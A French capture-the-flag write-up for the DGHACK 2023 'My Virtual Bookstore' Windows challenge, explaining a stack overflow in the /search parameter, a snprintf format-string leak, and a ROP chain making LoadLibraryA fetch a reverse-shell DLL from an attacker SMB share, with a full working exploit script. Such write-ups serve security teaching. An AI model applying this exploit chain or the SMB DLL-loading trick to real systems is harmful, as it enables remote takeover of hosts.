Contents

[DGHACK 2023] - My Virtual Bookstore

Description

Ce challenge est issu du DGHACK 2023, organisé par la DGA.

My Virtual Book Store est un challenge d’exploitation de binaire sur Windows. Le but est d’exploiter un service hĂ©bergĂ© sur une machine Windows accessible avec un VPN, et d’en prendre le contrĂŽle.

CatĂ©gorie : Exploitation 💣

Difficulté : Difficile

Protections : ASLR, NX, Stack Canary

TL;DR

  • Exploitation d’un service web utilisant la librairie libmicrohttpd sur une machine Windows distante accessible Ă  travers un VPN
  • Exploitation d’un Stack Based Buffer Overflow dans le mauvais traitement d’un paramĂštre d’URL
  • Leak du stack cookie, d’une adresse du binaire et d’une adresse de stack grĂące Ă  un format strings bug causĂ© par la mauvaise utilisation de la fonction snprintf dans un champs de formulaire
  • ExĂ©cution de code arbitraire Ă  l’aide d’une ROP chain sur LoadLibraryA permettant le chargement arbitraire d’une DLL Ă  distance

Analyse de l’environnement

La machine cible à exploiter est une machine Windows distante, accessible via une connexion VPN. Seuls les ports standard des serveurs Windows sont ouverts, à savoir tcp/443 et tcp/135, utilisés respectivement pour les services MS-RPC et SMB, ainsi que le port 80, sur lequel un service web est en fonctionnement.

Lorsque l’on tente d’accĂ©der au port 80 on obtient cette page web :

/posts/dghack-2023/images/Pasted%20image%2020231201140222.png

Les ressources mises Ă  disposition sont :

  • Le binaire mvb_backend.exe et ses DLLs
  • Une version portable de Nginx ainsi que sa configuration
  • Un fichier .bat qui lance l’environnement

Le serveur Nginx est configuré en reverse proxy et redirige tout le trafic de la route /api/ vers le binaire mvb_backend.exe, qui écoute sur le port tcp/8888.

# Route to mvb_backend.exe
location /api/ {
        proxy_pass   http://127.0.0.1:8888/;
}

Tout semble indiquer que nous allons devoir chercher un moyen d’obtenir une exĂ©cution de code grĂące au service web exposĂ©, sur l’instance distante ! Il est assez rare de voir des challenges d’exploitation sur Windows, ce qui apporte un peu de nouveautĂ© !

Analyse du binaire

Cette application Web ressemble Ă  une interface de gestion d’une bibliothĂšque virtuelle. Elle permet de rechercher des documents ainsi que de les tĂ©lĂ©charger. On peut Ă©galement y complĂ©ter son profile :

/posts/dghack-2023/images/Pasted%20image%2020231201141000.png

En ouvrant le binaire avec IDA, on peut remarquer que le backend utilise la lib libmicrohttpd et que la plus parts des symboles sont présents, ce qui va nous faciliter la tùche lors de la recherche de vulnérabilités.

Initialisation

Le point d’entrĂ©e principal est la fonction main, qui initialise un service Windows nommĂ© "my_virtual_bookstore" via le Service Manager, et le dĂ©marre Ă  l’aide de StartServiceCtrlDispatcherA. En cas d’échec (par exemple, si l’exĂ©cutable est lancĂ© manuellement), il dĂ©marre directement le serveur HTTP avec start_http_server.

La fonction start_http_server appelle initialize, qui s’occupe de parser les arguments de la ligne de commande, de dĂ©finir le port d’écoute, et de prĂ©parer l’environnement de travail. Une ligne inhabituelle Ă  attirĂ© mon l’attention :

LoadPlugin(1, 512, 16, 777, "\\\\10.8.0.50\\bookstore_plugins\\pdf_plugin.dll");

Cette fonction fait un appel Ă  LoadLibraryA et tente de charger une DLL via un partage de rĂ©seau SMB, pour charger des “plugins” supplĂ©mentaires. Bien que cette action ne soit pas essentielle au bon fonctionnement du serveur HTTP, elle peut constituer une surface d’attaque intĂ©ressante et nous verrons qu’elle pourra nous servir un peu plus tard !

Enfin, la fonction start_server dĂ©marre un daemon libmicrohttpd sur le port spĂ©cifiĂ©, en prĂ©cisant le callback utilisĂ© pour traiter chaque requĂȘte reçue :

MHD_start_daemon(
	65545LL,
	port,
	0LL,
	0LL,
	(__int64)answer_to_connection, // Main handler callback
	0LL,
	4,
	(__int64)request_completed,
	0LL,
	0
);

Gestions des requĂȘtes

La fonction answer_to_connection constitue le cƓur de la gestion des routes. En fonction de la mĂ©thode HTTP (GET ou POST), elle redirige la requĂȘte vers les handlers appropriĂ©s.

Voici un petit résumé de toutes les routes accessibles :

  • MĂ©thode GET
    • /download : Permet de tĂ©lĂ©charger un fichier avec comme paramĂštre name
    • /search : Permet de faire une recherche des fichiers avec comme paramĂštre search
    • /profile : Affiche les informations du profile
  • MĂ©thode POST
    • /profile : Met Ă  jour les informations du profile Ă  travers un formulaire

Dans chaque handler de route, un callback est enregistrĂ© via la fonction MHD_get_connection_values de la bibliothĂšque libmicrohttpd. Ce callback est invoquĂ© pour chaque paramĂštre prĂ©sent dans l’URL, ce qui permet d’en rĂ©cupĂ©rer la valeur ou de le traiter individuellement. Il doit respecter la signature suivante :

MHD_result __cdecl callback_example (void *cls, MHD_ValueKind kind, const char *key, const char *value)

Avec en paramĂštres :

  • void* cls : ReprĂ©sentant un pointeur vers une structure de contexte pour sauvegarder les donnĂ©es
  • enum MHD_ValueKind kind : Le type de valeur, gĂ©nĂ©ralement MHD_GET_ARGUMENT_KIND pour les paramĂštres d’URL GET
  • const char* key : Le nom du paramĂštre
  • const char* value : La valeur du paramĂštre

Gestion des cookies et sessions

Le serveur HTTP utilise plusieurs structures internes pour gĂ©rer les sessions utilisateurs. Lorsqu’une nouvelle connexion est Ă©tablie, une instance de la structure connection_info_struct est allouĂ©e pour reprĂ©senter l’état de la requĂȘte courante :

struct connection_info_struct
{
	int connection_type;
	GHashTable *parameters;
	Session *session;
	MHD_PostProcessor *postprocessor;
};

Avec les champs:

  • int connection_type : ReprĂ©sentant le type de connexion (GET ou POST)
  • GHashTable *parameters : Une hashtable contenant les paramĂštres de la requĂȘte POST en cours
  • Session* session : Qui est un pointeur vers une liste chainĂ©e de sessions utilisateurs
  • MHD_PostProcessor *postprocessor : un postprocessor libmicrohttpd, utilisĂ© pour parser les donnĂ©es d’un formulaire POST

Ainsi chaque structure Session contient le cookie de l’utilisateur connectĂ©, des donnĂ©es de timestamp et un pointeur vers une structure user_info_t contenant les informations d’un utilisateur, enregistrĂ© grĂące Ă  la route /profile.

struct user_info_t
{
  char *name;
  char *language;
  char *address;
  char *email;
};

Recherche de vulnérabilités

Stack based buffer overflow

Cette premiĂšre vulnĂ©rabilitĂ© a Ă©tĂ© dĂ©couverte lors de tests sur le paramĂštre search de la route /search. En effet, l’envoi d’une requĂȘte du type /search?search=AAAA...(x4096) entraĂźne un crash du serveur.

En analysant le code, on constate que le problĂšme se situe dans la fonction handleSearch_param appelĂ© par handleSearch_Iterator, utilisĂ©e comme callback pour rĂ©cupĂ©rer les donnĂ©es passĂ©es en paramĂštre dans l’URL, comme expliquĂ© prĂ©cĂ©demment.

bool __cdecl handleSearch_param(const char *param, GList *results)
{
	char *outString;
	size_t outLen;
	GList *file_list;
	char search_param[520];

	file_list = result;
	// URL decode search param in a dynamic allocated buffer
	urldecode(param, 0LL, outString, outLen);
	// memcpy() without bound check and controlled lenght in a stack buffer
	memcpy(search_param, outString, outLen + 1); //<--- VULNERABILITY : Stack buffer overflow
	free(outString);
	printf("Read %zu chars: %s\n", outLen, outString);
	do_search(search_param, file_list);
	return 1;
}

Le chemin d’appel est le suivant :

GET /search?search=AAAAAA
└── handleGet()
	└── handleSearch()       
		└── handleSearch_Iterator()
			└── handleSearch_param()

Le contenu du paramĂštre search est dĂ©codĂ©, puis copiĂ© dans un buffer en stack sans vĂ©rification de taille. Le buffer search_param Ă©tant situĂ© en bas de la stack, cela nous permet de ne pas Ă©craser d’autres donnĂ©es utilisĂ© par la fonction.

Pour Ă©viter un nouveau crash dans la fonction do_search, appelĂ©e immĂ©diatement aprĂšs, il est nĂ©cessaire d’ajouter un octet nul afin de correctement terminer la chaĂźne de caractĂšres.

Cependant, cette fonction est protĂ©ger par un stack cookie. Le programme Ă©tant compilĂ© avec MinGW gcc, le stack cookie prĂ©sent dans cette fonction est le mĂȘme pour toutes les fonctions.

Nous devons donc trouver le moyen d’obtenir un leak permettant de dĂ©terminer la valeur de celui-ci !

Format string bug

Le second bug qui nous permet d’obtenir un leak de stack se situe dans la fonction my_copy, appelĂ© lors de l’affichage du profile de l’utilisateur connectĂ© via la route /profile.

GET /profile
└── handleGet()
	└── user_get_profile()       
		└── get_address_clean()
			└── my_copy()
				└── snprintf()

Cette fonction utilise la fonction snprintf, passant en 3Ăšme argument une format string que l’on contrĂŽle Ă  travers le champs user_info_t->address, renseignĂ© au prĂ©alable en envoyant le formulaire POST sur la route /profile .

char *__cdecl my_copy(char *src)
{
	int formatted_size;
	char *copy;
	
	formatted_size = snprintf_1(0LL, 0LL, src) + 1;
	copy = (char *)malloc(formatted_size);
	snprintf_1(copy, formatted_size, src); // <--- Format String Bug
	return copy;
}

Grùce à cette vulnérabilité, nous avons la possibilité de récupérer:

  • la valeur du stack_cookie
  • Une adresse de l’exĂ©cutable permettant de contourner l’ASLR
  • Un pointeur de pointeur vers le champs name de la structure user_info_t qui nous servira plus tard

La taille du buffer d’affichage du champs address Ă©tant limitĂ©, nous ne pouvons rĂ©cupĂ©rer qu’un maximum de 8 QWORDS dans la stack.

Nous avons donc Ă  disposition toutes les informations permettant d’exploiter notre buffer overflow !

Exploitation

Ne disposant pas d’un leak suffisant pour obtenir l’adresse d’une DLL systĂšme telle que Kernel32 ou Ntdll, et Ă©tant dans un contexte d’exploitation distant, nous devons nous limiter au code dĂ©jĂ  prĂ©sent dans le binaire.
Une piste intĂ©ressante m’est alors venue en repensant Ă  cette ligne de code qui appelle LoadLibraryA.

Et s’il Ă©tait possible de dĂ©tourner cet appel pour faire charger au programme une DLL arbitraire Ă  distance ?

En effet, la fonction LoadLibraryA accepte les chemins UNC de la forme \\\\<remote_path>, ce qui nous offre une belle primitive d’exĂ©cution !

Grùce à la suite impackets, nous pouvons créer un partage SMB accessible sans mot de passe :

smbserver.py evil /home/user/Bureau/share -ip 0.0.0.0 -smb2support

Nous allons donc concevoir une ROP chain qui va appeler LoadLibraryA avec le chemin vers notre DLL hébergée sur notre partage.

Il nous suffit alors d’obtenir un pointeur vers une chaine de caractĂšre que l’on contrĂŽle, dans laquelle nous allons placer le chemin de notre DLL malveillante Ă  charger. Heureusement, grĂące au leak de stack, nous avons obtenu un pointeur de pointeur vers le champs name, de la structure user_info_t.

Nous pouvons ainsi enregistrer le profile suivant permettant d’exploiter la format string, et de placer notre argument dans le champs name pour l’appel Ă  LoadLibraryA :

SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"

def leak_data(s):

    data = {
        "name": SMB_SERVER,
        "email":"root@gmail.com",
        "language":"french", "address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
    }

    s.post(URL + "/profile", data=data)
    rep = s.get(URL + "/profile")

    return rep.json()['address']

Ainsi, avec les gadgets présents dans le binaires, nous pouvons construire notre ROP chain :

pop rax, ret
&user_info->name        ; &user_info->name (char**)
mov rax, [rax], ret     ; Dereferencing : rax ← *(&user_info->name)
pop rsi, ret
@LoadLibraryA           ; LoadLibraryA (Stub present in the binary)
mov rcx, rax, call rsi  ; Call LoadLibraryA(user_info->name)

Un petit dĂ©tail nous empĂȘche d’envoyer notre payload correctement. En effet, on observe au debugger que les octets nuls ne passe pas bien.

Pour envoyer des données binaires en HTTP, il faut URL encoder notre payload grùce au caractÚre %. Comme le serveur Nginx décode une premiÚre fois, et que le backend décode manuellement octet par octet le payload, il faut double encoder les données pour que les octets nuls soient pris en compte !

from urllib.parse import quote as url_encode

def trigger_buffer_overflow(s, payload):
    # Double URL encode
    url_encoded = url_encode(url_encode(payload))
    try:
        s.get(URL + "/search?search=" + url_encoded)
        print("[-] Payload sended, waiting for response ...")
    except:
        print("[-] Payload sended, waiting for response ...")

Flag

On prépare un netcat et on lance notre exploit :

/posts/dghack-2023/images/Capture%20d%E2%80%99%C3%A9cran%202023-11-19%20002653.png

Si tout se passe bien, la machine Windows distante se connecte à notre partage SMB pour charger la DLL, dans laquelle nous avons compilé un reverse shell :

/posts/dghack-2023/images/Capture%20d%E2%80%99%C3%A9cran%202023-11-19%20002632.png

Et nous obtenons notre shell en retour !

/posts/dghack-2023/images/Capture%20d%E2%80%99%C3%A9cran%202023-11-19%20003006.png

DGHACK{c44f1120-8740-42d0-acca-e242102c73bc}

Code

from urllib.parse import quote as url_encode
from pwn import *
import requests

PORT = 80
URL = f"http://192.168.13.6:{PORT}"
SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"

def leak_data(s):

    data = {
        "name": SMB_SERVER,
        "email":"root@gmail.com",
        "language":"french",
        "address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
    }

    s.post(URL + "/profile", data=data)
    rep = s.get(URL + "/profile")

    return rep.json()['address']

def set_session():

    s = requests.Session()
    s.get(URL)

    return s

def auth(s, username):

    s.post(URL + "/profile", data={"name": username})
    rep = s.get(URL + "/profile")

    return rep

def trigger_buffer_overflow(s, payload):

    # Double URL encode needed
    url_encoded = url_encode(url_encode(payload))

    try:
        s.get(URL + "/search?search=" + url_encoded)
        log.info("Payload sended, waiting for response ...")
    except:
        log.info("Payload sended, waiting for response ...")

def main():

    # Session init
    session = set_session()

    # First authentification
    auth_info = auth(session, "ADMIN")
    log.inf(f"Authentification : {auth_info.text}, {auth_info.cookies}")

    # Leak data with format string bug in user_info_t->address field
    memory_leak = leak_data(session)
    log.info("Memory leak : " + memory_leak)

    stack_cookie = int("0x" + memory_leak.split(".")[6], 16)
    log.info("Leaked stack cookie : " + hex(stack_cookie))

    base_address = int("0x" + memory_leak.split(".")[8], 16) - 0x2B45
    log.info("Base address of mvb_backend.exe : " + hex(base_address))

    LoadLibrary_stub = base_address + 0x2E6A
    log.info("LoadLibraryA() stub address : " + hex(LoadLibrary_stub))

    username_ptr = int("0x" + memory_leak.split(".")[14], 16)
    log.info("&user_info_t->name : " + hex(username_ptr))

    # Gadgets
    pop_rax = base_address + 0x4d2c
    mov_rax_to_rax = base_address + 0xed27
    pop_rsi = base_address + 0x462c
    mov_rcx_rax_call_rsi = base_address + 0xee84

    # Payload + ROP Chain
    payload =  b"A"*15
    payload += b"\x00"*5
    payload += b"A"*500
    payload += p64(stack_cookie)
    payload += b"B"*8
    payload += p64(pop_rax)
    payload += p64(username_ptr)
    payload += p64(mov_rax_to_rax)
    payload += p64(pop_rsi)
    payload += p64(LoadLibrary_stub)
    payload += p64(mov_rcx_rax_call_rsi)
    
    trigger_buffer_overflow(session, payload)

if __name__ == "__main__":
    main()